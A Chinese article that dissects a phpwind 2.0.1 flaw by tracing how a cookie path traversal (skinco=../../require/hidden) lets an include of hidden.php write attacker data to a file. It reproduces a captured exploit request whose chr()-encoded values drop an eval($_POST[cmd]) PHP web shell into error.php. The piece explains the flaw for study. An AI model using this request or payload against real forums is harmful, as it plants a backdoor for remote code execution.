剖析phpwind2.0.1漏洞是怎么产生的？

猫猫传给我一个phpwind2.0.1漏洞利用程序，可以直接在目录中写入一个木马。怎么说呢，这个漏洞是pinkeyes发现的，本文旨在分析这个漏洞的思路。直到发现这个漏洞是怎么产生的，我还在冒虚汗中，同时pinkeyes 的睿智深深的打动了我，原来我才明白什么才是真正的技术含量。

且听我慢慢道来：

在程序运行时，我抓了一个包：

GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=

(chr(46).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(112).chr(104).chr(112),w),

chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).

chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?>HTTP/1.1

Content-Type: text/html

Cookie:skinco=../../require/hidden;

Host: www.5a609.com:81

Accept: text/html, **

User-Agent: Mozilla/3.0 (compatible; Indy Library)

Chr()里的那些东西我查了一下ascii字符表，得到的是这样的：

。

所以关键是：

GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=中$D_name和$tidwt的出处。这两个东西很重要!于是我下了一个phpwind 2.0.1的程序看看，开始以为是job.php有问题。进入job.php中，只发现如下代码：

elseif($previewjob=='preview'){

require_once(R_P.'require/bbscode.php');

require_once(R_P.'header.php');

if (empty($skin)) $skin=$db_defaultstyle;

if (file_exists(R_P."data/style/$skin.php")){

include_once("data/style/$skin.php");

}

好，在失望的同时也发现了$skin一定有问题，job.php文件头有个：require_once("./global.php");

接着我们来看看global.php里面的$skin参数吧：

if ($db_refreshtime!=0){

if('C:'.$REQUEST_URI==$lastpath && $onbbstime<$db_refreshtime){

!$_COOKIE['winduid'] && $groupid='guest';

$skin=$skinco ? $skinco : $db_defaultstyle;

Showmsg("refresh_limit");

}

哦，只要我们定义了$skinco就可以满足$skin了!所以再找找$skinco吧，$skinco只有一处解释，其后，并没有做任何过滤：

if($skinco && file_exists(R_P."data/style/$skinco.php")){

Cookie('skinco',$skinco);

哈哈，好轻松，只要存在就可以?这样只要构造一个cookie就完全可以实现。咦?$skinco我们好象哪里见过。果然，就是上面抓的包里面的：

Cookie:skinco=../../require/hidden;

这样就更加证明我的思路是正确的，风回路转呀。又不得不佩服这样精彩的手法，按照pinkeyes的思路：构造后应该是这样的：

data/style/../../require/hidden.php

也就是./require/hidden.php。

这样也就是满足了job.php中的

if (file_exists(R_P."data/style/$skin.php")){

include_once("data/style/$skin.php");

到这里，先告一段落，我们回个头想想。我们分析这么多就是pinkeyes要为了包含一个文件：./require/hidden.php。这就奇怪了，为什么这么pinkeyes要千方百计的来包含 ./require/hidden.php呢?直接利用不可以吗?这个hidden.php到底是个什么样的文件呢?恩，下面的解释会让你有一个满意的答案。

我小心翼翼的打开hidden.php

!function_exists('readover') && exit('Forbidden');

$newonline="<>t$timestampt$onlineipt$fidwtt$tidwtt$groupidt$wherebbsyout$acttimet$uidt$windidt";

$newonline=str_pad($newonline,$db_olsize)."n";

$onlineuser=readover(R_P.$D_name);

if($offset=strpos($onlineuser,"t".$windid."t")){

$inselectfile='N';

$offset=strpos($onlineuser,"n",$offset-$db_olsize);$offset+=1;

writeinline(R_P.$D_name,$newonline,$offset);

}elseif($offset=strpos($onlineuser,str_pad(' ',$db_olsize)."n")){

writeinline(R_P.$D_name,$newonline,$offset);

}else{

writeover(R_P.$D_name,$newonline,"ab");

}

?>

看到这里，所有的疑团都解开了!

1.原来文件头多了个

!function_exists('readover') && exit('Forbidden');

这样直接访问是不允许的，后面的代码也不会执行，这样我明白pinkeyes的苦心多走弯路来努力用include来包含这个文件

2 这个文件里有writeline()是可以写入木马的。$newonline正好也定义了$tidwt，所以最后的writeline()把$tidwt也写进去了。

写入到了d_name 所定义的set.php这个临时文件里。本来这样就可以写入一个小木马了，只要使$tidwt为编码：就可以的。但是可能是pinkeyes考虑到set.php里的东西比较乱。所以煞费苦心的用

写入一个更简单的木马到error.php里!这样才多了我们抓的第二个包：

GET /phpwind//attachment/set.php HTTP/1.1

。。。。。。。。。

后记：我感觉自己写侦探小说还不错，技术嘛，哎。。。。